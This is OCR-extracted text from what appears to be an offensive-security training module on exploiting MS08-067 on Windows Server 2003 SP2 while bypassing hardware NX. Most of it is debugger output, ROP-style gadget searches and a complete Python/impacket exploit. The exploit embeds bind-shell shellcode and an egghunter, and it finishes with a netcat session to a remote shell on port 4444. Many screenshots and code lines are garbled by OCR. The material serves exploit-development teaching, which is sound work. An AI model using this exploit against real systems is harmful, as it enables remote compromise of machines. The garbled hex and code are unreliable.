7c8343bt 56 push £=1 Display farmat: Pointer and Symb ¥ Mext
7834300 e28deb10000 call ntdll ! LdrpCheckizInconpatibleDllSection (7c83 S
7c08343c5 54cl test al.al 01c1£488 coccococo -
7¢8343c7 0£851£0e0100 ine ntdll ! LdrpCheckNXConpatibility+0x3s (7c8451ec 0lclidic coococoooo
7c8343cd 837dEc00 cmp dword ptr [ebp-4].0 01c1£490 cococoooe
708343d1 0f8547b10000 ine ntdll! LdrpCheckNiX amparlblllty+ﬂy4b {7c83f51le (Ulclf494 daeded
7c5343d? 804e3780 or byte ptr [e=i+3?h], 01clfdds o
708343db Se DOP exi 0121£49: cococoos
H7cB343de o9 1eavel 01clfdal cocccooo
7c8343dd £20400 ret 4 0lclidad
7083430 B4a118000000 mowv eax. dword ptr f=[<Unlosded_SG. DLL>+0x17 (000 0lclfdad
7cB834326 8b4030 mov eax, dword ptr [eax+30h) 0lclfdac coooooco -
7c8343e3 8b780c nov edi dvord ptr [eax+0Ch] 01clidb0 00080000 <Unloaded SG DLL>+
7o8343ec 83c?1c add edi.1Ch 01clf4bd 002e005c <Unloaded | DLL>+
7c83432f 897dac new dword ptr [ehp-S4k]. edi 01clf4h8 0052002 <Unloaded SG. DLL +
7o8343f2 8h37 MOV ezi dword ptr fedi] | 0lclfdbo 41414141 v
4 » 4 »
tn@, CalD Sys@iclocals Proc D00:ded  Thrd 019:830 NUM

Figure 19: Stack frame layout in LdrpCheckNxCompatibility epilogue (before LEAVE)
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Previolis

Cffset: @SsoopElp Previous ! Nest

c610000 ntdll!LdrpCheckNzInconpatibleDllSection (7
al, &l

Display format: Pointer and Symb v Nest

ntdlllerpLh#u Dlcif4e8 4141414& -
dword ptr [ehp—4]. 0 Olelfdes) 7082754k ntdll ! ZeSet Infcarna
ntdll! LdrpCheckNiCanpatibility+0x4b (7c83151= 0118470 '98&,534 ntdl1l 1 LdrpCheckHXG
‘?“ - byte ptr [esi+37h]. 80k 01c1f4?4 FEEEEEE€

01c1£478 00000022 <Unloaded SG DLL:+
01clfd7?c 01lclf460 <Unlosded_SG. DLL>+
Olcifd480 00000004 <Unlosded 5G DLL +

EX E 46
e4a113000000 P eax. dvord ptr fs:[<Unloaded_SG.DLL>+0x17 (000 01clfd84 cccococooo

kNEiCcnpotibility+0x3e (7cB4Slen
]

pt=tcs eax dword ptr [eax+30h] 01c1f488 coccoccce

Oc M edi, dvord ptr [eax+0Ch] 01c1f48c coocccoc

lc zdd edi. 1Ch 01c1f490 cooocoooo

97dac mow dword ptr [ebp-S4h]. edi 0121£494 coocccce

: o esi dyord ptr [edi] 01c18438 coococoooo
c Mov dvord ptr [ebp-44h].es1 01clfd49c cooccoocoo v

) i »

Ln@, Col D SysGi<local> Proc DDD:ded  Thrd D19:a30 UM

Figure 20: Stack frame layout in LdrpCheckNxCompatibility epilogue (before RETN 0x4)

n i

Previous

Dffget: @izcapelp 1

Ho 51«101- disassemblzi ﬁossﬂjle Display format: Pointer and Symbs v Mest
E (EESETEDMEETRIERE ntdll! LdrpCheckNEC &

41414142 27 ZECEIERE ntdll! LarpCheckNEC &
41414143 7 J1clf474 FEEE££EF
41414144 77 01c1£478 00000022 <Unloaded SG . DLL+
41414145 27 01clfd4?c 01clfd460 <Unloaded_SG DLL>+
41414146 27 01clid480 !JllﬂflLlLlU:l <Unloaded_5G DLL:>+
41414147 27 O1lc1f484

g8 7 011488
ﬁﬂﬂiz &) 01011480
41414145 27 011430
4141414b 77 0lclfd494
4141414c 77 01c1£498
41414144 7 01clfd9c coo =
4141414 77 J1lc1fdal coccccco
4141414 27 0lclfdad cococococooo -
41414150 27 4 »

Lnd, Dol 0 Sys elocal> Proc 00Cided  Thrd 019:330 MM

Figure 21: Stack frame layout in LdrpCheckNxCompatibility epilogue (after RETN 0x4)

We own EIP - however none of our registers seem to point to a usable buffer chunk. Checking deeply,
we can see that ESP points to 0x7c83f52d ...that looks familiar! Let’s take a look at the part of the stack
frame pointed by EBP just before and after the call to the ntdll!ZwSetinformationProcess procedure:

Before ntdll!ZwSetInformationProcess call
012df464 5¢c 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 \.AAAAAAAAAAAAAA
012df474 41 41 41 41 64 f4 2d 01 17 f5 83 7c cc cc cc cc AAAAd.-....|....

After ntdll!ZwSetInformationProcess call
012df464 5c¢c 00 41 41 41 41 41 41 E: \ .AAAAARKZ. |-..
012df474 ff ff £f ££f 22 00 00 00 60 f4 2d 01 04 00 00 00 ...."... .—.....

0:015> u 7c827a4b
ntdll!ZwSetInformationProcess+0xc:
7c827ad4b ¢21000 ret 10h
7c827ade 90 nop
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0:015> u 7c83£52d
ntdll!LdrpCheckNXCompatibility+0x5a:

7c83f52d e%abdeffff jmp ntdll!LdrpCheckNXCompatibility+0x5a

Stack Frame before and after ntdll!NtSetinformationProcess Call

(7c8343d7)

The 0x7c83f52d and 0x7c827a4b addresses that we see overwriting part of our “\1x41” 18 Bytes buffer,
are respectively the LdrpCheckNXCompatibility return address and the ZwSetinformationProcess return

address: when a subroutine calls another procedure, the caller pushes the return address onto the

stack, and once finished, the called subroutine pops the return address off the stack and transfers

control to that address™

Yirtualh Esp Previous § Virkual:

sp-8

Display format: }Paint.er and Symb _ﬂ

ISRV EIFE ntdll | LdrpCheckHIC

J1c1f474 ff£££££% Nlcifdec
D1c1f478 00000022 <Unloaded SG DLL:+ 011470
01c1fd7- 01c1f460 <Unloaded SG DLL>+ 01lc-1f474
01c1£480 00000004 <Unloaded 5G DLL»+ Dlclfd?8
D1c1f484 cocooooo 01lcifd7c
D1c1f488 coooococoo 01c1£480
(1leltd48c coocococoo Dlclfd48d
011490 cocooooo 01-1f£488
01z1£494 coccccoo 0lc1lfdBe
01c1f498 cococcoo D1c1£490
01clfd9c coocooooo N1c1£494
Dlclfdal cocococooeo o 01lc1f49s
Dlmlfdad cocooccoce A:J 01cif49c
< | ¥ <

Previous i

D&phvrmmafiPolnfer and vabL_} Mext }

01c1£f468 41414141 1

7-827a4b
7cB83f52d
ffEfffff
goooooze
0lclfd4eD
oooononong
Lt s i e g
[ituwdut st et e e ]
L s s s
it st et e et 0
Dt 1ot an o ot e wod
COCOOOoT
COOOCis

1tdll!4w5&t1nfurma
ntdll ! LdrpCheckHiC

<Unloaded_SG DLL>+
<Unloaded S5 DLL>+
<Unloaded_5G DLL:+

i ﬁ:j

Figure 22: ESP-0x8 points once again to a controlled DWORD

So what can we do now? If we could find a way to avoid those 8 bytes to be overwritten, we would have

ESP pointing to a controlled buffer chunk! A “pop r32;retn” opcode sequence should increment the ESP
register by 8 bytes, and should make the trick! Let’s search for it in ntd/l memory space using Windbg:

root@bt ~/framework-3.2 # tools/nasm shell.rb
nasm > pop ebp
00000000 5D pop ebp

0:050> !'dlls -c ntdll
Dump dll containing 0x7c800000:

0x00081f08: C:\WINDOWS\system32\ntdll.dll
Base 0x7c800000 EntryPoint 0x00000000 Size
Flags 0x80004004 LoadCount 0x0000ffff TlsIndex

0x000c0000
0x00000000

18, . § 1

wikinedia org/wikd
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LDRP_IMAGE DLL
LDRP_ENTRY_PROCESSED

0:050> s 0x7c800000 Lc0000 5d c3

7c8019£f8 5d c3 3b f0 0f 85 b5 2f-05 00 e9 c5 2f 05 00 33 ]

7c801a57 5d c3 8b cf 49 49 74 20-83 e9 06 Of 84 75 2d 05 ] .

7c805823 5d c3 0f b6 58 Of 66 8b-1c 5a 66 89 59 le €9 7d ]...X.f..Zf.Y..}

7c80807d 5d c3 90 00 cc cc cc cc-cc 83 e8 69 Of 84 ab ff ]

7c809475 5d c3 0f b7 45 08 51 50-e8 09 00 00 00 59 59 54 .
E 5d ¢3 90 90 90 90 90 8b-ff 55 8b ec 8b 45 Oc 83 ]........ U...E..

[+

0:050> 'address 7c¢809484
7c800000 : 7c801000 - 00086000

Type 01000000 MEM IMAGE
State 00001000 MEM COMMIT
Usage RegionUsageImage

FullPath C:\WINDOWS\system32\ntdll.dll

Searching for POP EBP, RETN

We found more than one match and, once again, we are ready to change our exploit stub buffer to
match the following:

Reference ID

Max Count

Offset

Actual count

Server Unc

UNC Trailer Padding
Max Count

stub= '"\x01\x00\x00\x00"
stub+="\x10\x00\x00\x00"
stub+="\x00\x00\x00\x00"
stub+="\x10\x00\x00\x00"
stub+="'\x43"'*28
stub+="\x00\x00\x00\x00"'
stub+="\x2f\x00\x00\x00"
stub+="\x00\x00\x00\x00" Offset

stub+="\x2f\x00\x00\x00"' Actual Count
stub+="\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00"' #PATH
stub+="\x41"'*18 # Padding

H 3 H A e S e S

stub+="\xCC'*40

# Fake Shellcode
stub+="\x00\x00"
stub+="\x00\x00\x00\x00" # Padding
stub+="\x02\x00\x00\x00" # Max Buf
stub+="\x02\x00\x00\x00"' # Max Count
stub+="\x00\x00\x00\x00" # Offset
stub+="\x02\x00\x00\x00" # Actual Count
stub+="\x5c\x00\x00\x00" # Prefix
stub+="\x01\x00\x00\x00" # Pointer to pathtype
stub+="\x01\x00\x00\x00" # Path type and flags.

NX_STUB_0x04 stub buffer
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Let's set up a breakpoint on our new return address and run the above exploit:

0:050> bp 0x7c809484

0:050> bl

0 e 7c809484 0001 (0001) O:**** ntdll!fputwc+0x29
0:050> g

root@bt # ./NX_STUB 0x4.py 10.150.0.194

Ak khkhkhhkhhhkhkhkhhhhhhkhkhkxhkhkhhhhhhhkhkdkhhhhkhkhkdhkhkdkrhhddxhkxkkxk

F ok ok ok ok ok ok ok kK MSOB_67 Win2k3 SP2 hk ok kkkkkkkk
B R R offensive-security.com ERkEERT K
KKk ok ok Kk ok ok ok ok ok ryujin&muts —_— 11/30/2008 Kok ok k ok ok ok Kk ok ok

hhkhkkhhhkkhhhkhkhkhhkhkhkhkhkhkkhkhkhkrkrkkhkhkhkhkhkhkhkhhkkkhkhkkkkhkkhkkkkkhkkhkxkkkxk

Firing payload...

Breakpoint 0 hit
eax=ffffffff ebx=010c005¢c ecx=010cfdb2 edx=010cf508 esi=010cfdb6 edi=010cf464

eip=7c809484 esp=010cfd47c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £fs=003b gs=0000 ef1=00000246
ntdll!fputwc+0x29:

7c809484 5d pop ebp

NX_STUB_0x04 session

7809485 o3 ret

7c809486 90 nop
To809487 20 nop
7o209488 90 nop
7803489 30 nop
7c20948a 90 nop

ntdll!_flswbuf:

FullPath C NUIHDOWS sy=ztem32wntdll dll
0:050> bp 0=7=B309484
0:050> bl
0 = 7809484 0001 (0001)  O:s*xex ntdll!ifputve+0=29
0:050> g
Breakpoint 0 hit
cax=ffffffff ebx=010c005c scx=010cfdb? edx=010cfS08 e=zi=010cfd4bbt edi=010cf46d

eip=7c809484 esp=010cfd4?c =bp=41414141 10pl=0 nv up =1 pl zr na ps no
cs=001b ===0023 ds=0023 e=z=0023 {==003b gs=0000 ef1=00000246
ntdll!fputve+l=z2d:

70809484 &4 pop ehp

Figure 23: Breakpoint hit
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Display format: |Pointer and j

Frevious i

Virtual: % esp

Mext l
010cf47c fEEfE££°F "
010cf480 772082a2 NTMARTA!CKernelContext:  GetKernelPropert:
N10cfd4284 7cB83f517 ntdlliLdrpCheckNECompatibility+0x2hb
010-£488 cooccooo
010c-fd48c cooooooo
110ct490 cocoooooo
010cf494 cocoooco
010498 coocomooo
010cfd49c coocooooo
010cfdal cocoococooo
010cfdad cooocooo .
010t d4ad coo i
010cfdac coo o :j
M M AW MO (a1}

<]

Figure 24: Stack frame ready for exploitation
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Now we proceed (stepping over) until the “retn 0x4” (end of function epilogue) is reached in
LdrpCheckNXCompatibility to check if the “pop ebp; retn” trick will give the expected effect:

eax=00000000 ebx=010c005c ecx=010cf474 edx=7c8285ec esi=cccccccc edi=010cf464

eip=7c8343dd esp=010cf468 ebp=4141005c iopl=0 nv up ei ng nz na pe nc
cs=001b ss5=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000286
ntdll!LdrpCheckNXCompatibility+0x60:

7c8343dd c20400 ret 4

010cfd46c 41414141

010cf470 41414141

010cf474 7c827a4b ntdll!ZwSetInformationProcess+0xc
010cf478 7c¢83f52d ntdll!LdrpCheckNXCompatibility+0x5a
010cf47c ffff£ffff

010c£f480 00000022

010cf484 010cf460

010c£f488 00000004

010cf48c cccceece

NX_STUB_0x04 session

Offset: I@Sscop&lp Frevious
708343c0 e8dc510000 call ntdll ! LdrpChecklxIncompatibleDllSection {7c8395al)
7083428 8420 test al. al

7c8343c? 0f851f0e0100 jne ntdll | LdrpCheckNiConpatibility+0x3e (7c845lec)
7c8343cd 837d4fc00 Chnp dword ptr [=bp-41.0

TcB8343d1 0f8547b10000 jne ntdll ! LdrpCheckN{Conpatibility+0=x4b (7083f(51e)
70834347 8043780 or byvte ptr [esi+37h], 80h

708343db Se pop ezl

7c8343de o9 leave

7c8343dd 20400 ret 4

7c8343e0 R4a118000000 now eax, dword ptyr f=:[00000018h]

702343e6 Bb4030 nov eax, dwvord ptr [eax+30h]

7c834329 8bTR0c nov edi dvord ptr [sax+0Ch]

7c8343ec 83c?lc add edi. 1Ch

7c8343ef 89%7dac nov dword ptr [ebp-54h], edi

TcB34312 Bb3T mew e=zi, dword ptr [edi]

7o8343f4 8975%bc Mo dvord ptr [ebp-44h].es1

2ax=00000000 ebx=010c00bc ecx=010cf474 ede=7cfiibec esisccoccooce edi=010cfdbd
eip=7ci343de esp=010cf490 ebp=010cfdtd i1opl=0 nv up €i ng nz na pe no
c2=001b =s=0023 d==0023 es=0023 {s=003b gs=s=0000 ef1=00000286
ntdll ! LdrpCheckNYConpatibility+0=5f:

7cB8343de o9 leave

0:034>
=ax=00000000 =hz=010c005c ecx=010cfd74 edx=7ci28%esc esi=cccoccoce edi=010cfdi6d
0

21ip=7c8343dd esp=010ci468 =bp=4141005%c iopl=0
ce=001h ===0022 d==0023 e==0023 {f=s=003b gs=
ntdll | LdrpChecklEXCompatibility+0=60:

7c8343dd 20400 ret 4

nvy up €1 ng nT na pe no
noon e=f1=00000288

Figure 25: Returning into the buffer from LdrpCheckNxCompatibility epilogue
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Customize. ., 3

Reg !Value

ebp
E‘.ip

1
=l

L@ @@

T @ @ L@ =g
L

[n V]
w

edx
= mpes
SN
o=
af
<

1
b
Lo s B S i I S NGO S B e

oLl o B

Ny
[y}

[

[y}

£ 464
DODCT
0%z
28285ec

cfd74

0

e

I b
X
)

Yirkual: §e:—3p

Display format: |Pointer and v|
Next

010cf468
0ldcfdac
010cf£470
010c£474
010c=£478
010cfd4?e
010cz£450
010cf454
010cf4u8

010cf430
010cf494
N1fe-f 498

41414141

41414141

41414141

7cd27a4b ntdll ! ZwSetInfornationProcess+irc
7c83f52d ntdll ! LdrpCheckNECompatibility+0x5a
fEEE£EEE

ooonooz2

010cf460

oooooond

01llcfdic coooooo

[ ! e e e e

Figure 26: Stack frame before returning into the controlled buffer
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And executing retn Ox4 we obtain:

0:034> p

€ax=00000000 ebx=010c005¢c ecx=010cf474 edx=7c8285ec esi=cccccccc edi=010cfd64
eip=41414141 esp=010cf470 ebp=4141005c iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000286
41414141 22 ???

a fi 231414 ’ oo e s . 4 . s 2 i " s . e A E

010cf474 7c827a4b ntdll!ZwSetInformationProcess+0xc

010cf478 7c83f52d ntdll!LdrpCheckNXCompatibility+0x5a
010cf47c ffffffff

010cf480 00000022

010cf484 010cf460

010cf488 00000004

010cf48c cccccccec

NX_STUB_0x04 session, stack frame after LdrpCheckNxCompatibility epilogue

Yes! Once again we own E/P but now, ESP points to a buffer chunk under our control (0x010cf470 41 41
41 41). We can now substitute the 0x41414141 at 0x010cf468 with a JMP ESP address that we can find
in memory.

We will now insert a SHORT JMP instruction at 0x010cf470 (ESP) so that after the JMP ESP, we will land
inside the first part of our payload (egghunter).

root@bt ~/framework-3.2 # tools/nasm shell.rb
nasm > jmp esp

00000000 FFE4 jmp esp

nasm >

0:034> s 0x7c800000 Lc0000 ff e4d

7c86a0lb ff e4 9f 86 7c fa 9f 86-7c 90 90 90 90 90 8b ff ....|...|.......
7c887713 ff e4 04 00 00 1lc 00 £fb-7£ 00 00 00 00 00 00 00 ................

Searching for JMP ESP address

In the following exploit, we have introduced shellcode and an egghunter that will be executed after the
JMP ESP and the SHORT JMP. Please refer to Module 0x01 for more details about adjusting the shellcode
size in the MS08-067 exploit:

#!/usr/bin/python

from impacket import smb

from impacket import uuid

from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
import sys

prlnt Mk hkhkhkhkhhkhkhk Ak kA Ak hkhkhkhkh Ak khkhk ok ok hkhkhkkkkhk A dk kA A F A XA A A I ARk A A Ak kA kk k"
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print MRk kkokdkok ko MS08-67 Win2k3 SP2 NX BYPASS bt Sotab LR

print MxkEkkkkokkk offensive-security.com Kk kKX K Kk ok T
print Mkxkxkxkokokkx ryujin&muts --- 12/08/2008 ek ok ke ok kX ek kM
print AR R R R E R R SRR RS R R R e R e e Al
try:

target = sys.argv[1l]

port = 445

except IndexError:
print "Usage: %s HOST" % sys.argv[0]
sys.exit ()

trans = transport.DCERPCTransportFactory('ncacn np:%s[\\pipe\\browser]'S$target)
trans.connect ()

dce = trans.DCERPC class(trans)
dce.bind(uuid.uuidtup to bin(('4b324fc8-1670-01d3-1278-5a47bf6eel88', '3.0')))

# /*

# * windows/shell bind tcp - 317 bytes

# * http://www.metasploit.com

# * EXITFUNC=thread, LPORT=4444, RHOST=

# */

shellcode = (
"\xfc\x6a\xeb\x4d\xe8\xfI\xff\xf£\xf£f\x60\x8b\x6c\x24\x24\x8b"
"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4£f\x18\x8b\x5£\x20\x01"
"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
"\xcl\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5£"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\x££"
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\x£ff\xdo"
"\x68\xcb\xed\xfc\x3b\x50\xf£\xd6\x5£f\x89\xe5\x66\x81\xed\x08"
"\x02\x55\x6a\x02\x££\xd0\x68\xd9\x09\x£5\xad\x57\x£f£\xd6\x53"
"\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66"
"\x53\x89\xel\x95\x68\xad\x1a\x70\xc7\x57\x££\xd6\x6a\x10\x51"
"\x55\xff\xd0\x68\xad\xad\x2e\xe9\x57\xf£f\xd6\x53\x55\xff\xd0"
"\x68\xe5\x49\x86\x49\x57\xf£\xd6\x50\x54\x54\x55\x£f\xd0\x93"
"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66"
"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\x£f3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38"
"\xab\xab\xab\x68\x72\xfe\xb3\x16\x£f£\x75\x44\x££\xd6\x5b\x57"
"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\x££\xd0\x68\xad\xd9"
"\x05\xce\x53\x£f£\xd6\x6a\xf£\xff\x37\x£f£f\xd0\x8b\x57\xfc\x83"
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6"

"\x££\xdo" )

stub= "\x01\x00\x00\x00" # Reference 1D
stub+="\xac\x00\x00\x00" # Max Count

stub+="\x00\x00\x00\x00" # Offset

stub+="\xac\x00\x00\x00"' # Actual count

# Server Unc -> Length in Bytes = (Max Count*2) - 4

# NOP + PATTERN + SHELLCODE (15+8+317)= 340 => Max Count = 172 (0Oxac)
stub+="'n00bn00b' + '\x90'*15 + shellcode # Server Unc
stub+='\x00\x00\x00\x00" # UNC Trailer Padding
stub+="\x2f\x00\x00\x00" # Max Count
stub+="\x00\x00\x00\x00" # Offset
stub+="\x2f\x00\x00\x00" # Actual Count

stub+="\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00"' # PATH
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# EGGHUNTER 32 Bytes

egghunter ='\x33\xD2\x90\x90\x90\x42\x52\x6a’
egghunter+='\x02\x58\xcd\x2e\x3c\x05\x5a\x74"'
egghunter+='\xf4\xb8\x6e\x30\x30\x62\x8b\xfa'
egghunter+='\xaf\x75\xea\xaf\x75\xe7\x£f£f\xe7’

stub+= egghunter

stub+="\x00\x00"

stub+="\x00\x00\x00\x00" # Padding
stub+="\x02\x00\x00\x00"' # Max Buf
stub+="\x02\x00\x00\x00" # Max Count
stub+="\x00\x00\x00\x00" # Offset
stub+="\x02\x00\x00\x00" # Actual Count
stub+="\x5c\x00\x00\x00" # Prefix
stub+="\x01\x00\x00\x00" # Pointer to pathtype
stub+="\x01\x00\x00\x00" # Path type and flags.

print "Firing payload..."
dce.call (0x1f, stub) #0x1f (or 31)- NetPathCanonicalize Operation
print "Done! Check your shell on port 4444"

Final Exploit Source Code

Let's set a breakpoint on the JMP ESP address and execute the final exploit:

0:017> bp 0x7c86a0lb
0:017> g

root@bt # ./NX EXPLOIT.py 10.150.0.194

khkhkhhkhhkhhhhh kb bk bk k Ak ko kb ko khkkkkhkkhkkhkkh ko
*xkkxk*kk**k  MS08-67 Win2k3 SP2 NX BYPASS  **k*xkkkkxx
KRR RE L RN offensive-security.com ERmEEREEAE
Khkkhkkkkhhk ryujin&muts --- 12/08/2008 dkkkokkokkk Kk
Khhkhhkhhh kA kA AR AT A A ARk kkkkhkkkk
Firing payload...

Done! Check your shell on port 4444

(AR £

Breakpoint 0 hit
eax=00000000 ebx=00c8005¢c ecx=00c8f474 edx=7c8285ec es51i=90909090 edi=00c8f464

eip=7c86al0lb esp=00c8f470 ebp=4141005c iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000282
ntdll!RtlpIntegerWChars+0x77:

7c86a01b ffed jmp esp {00c8£f470}
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0:010> p
eax=00000000 ebx=00c8005¢c ecx=00c8f474 edx=7c8285ec esi=90909090 edi=00c8f464

eip=00c8f470 esp=00c8£f470 ebp=4141005c iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 f£s=003b gs=0000 ef1=00000282
00c8£470 eblc jmp 00c8f48e

0:010> p

eax=00000000 ebx=00c8005c ecx=00c8f474 edx=7c8285ec es1=90909090 edi=00c8f464
eip=00c8f48e esp=00c8f470 ebp=4141005¢c iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000282
00c8f48e 90 nop

0:010> g

Final Exploit Session

thetgo*“ﬁnpelp

Ho ~ disassembly pos=sible

00021919 30 nop
H00al91a 90 nom

000=2191b 940 nop

00al191ic 90 nop

000=191d 30 nop

100a191e 90 nop

000=2191f 90 nop

Ho0s1920 90 nop

00021921 90 nop

H0=1922 90 nop

00021923 30 nop

000=1924 90 nop

00021925 30 nop

0001926 90 nop

0001927 fo cld

000a1928 casb push OFFFFFFEEh

000a192a 4d dec ehp

NNNa1A?k =RFfQFFFFff =l MNNa1929

cz=001bh = ds= ef1=0000024¢
00cEfdas ffe?

0:010: p

eax=6230306e ebr=00c8005c ez1=90909090 edi1=000a1918
eip=000a1918 esp= 00c2£470 nv up =1 pl zr na ps no
=001k s=s=0023 d==0023 ef 1=00000244
0001918 350

Figure 27: Soft landing at the beginning of our shellcode
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Once again we've obtained our remote shell on port 44441

root@bt # nc 10.150.0.194 4444
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C: \WINDOWS\system32>

1) Repeat the required steps in order to return into the controlled buffer and obtain a remote shell on

the vulnerable server.

In this module we have successfully exploited the MS08-067 in a real world scenario, where hardware
NX was enabled on the target server. These types of protections are very effective in mitigating software
exploitation, and raise the bar needed to compromise the vulnerability. However, as we have seen in
this module, under certain circumstances and conditions, these protections can be overcome.
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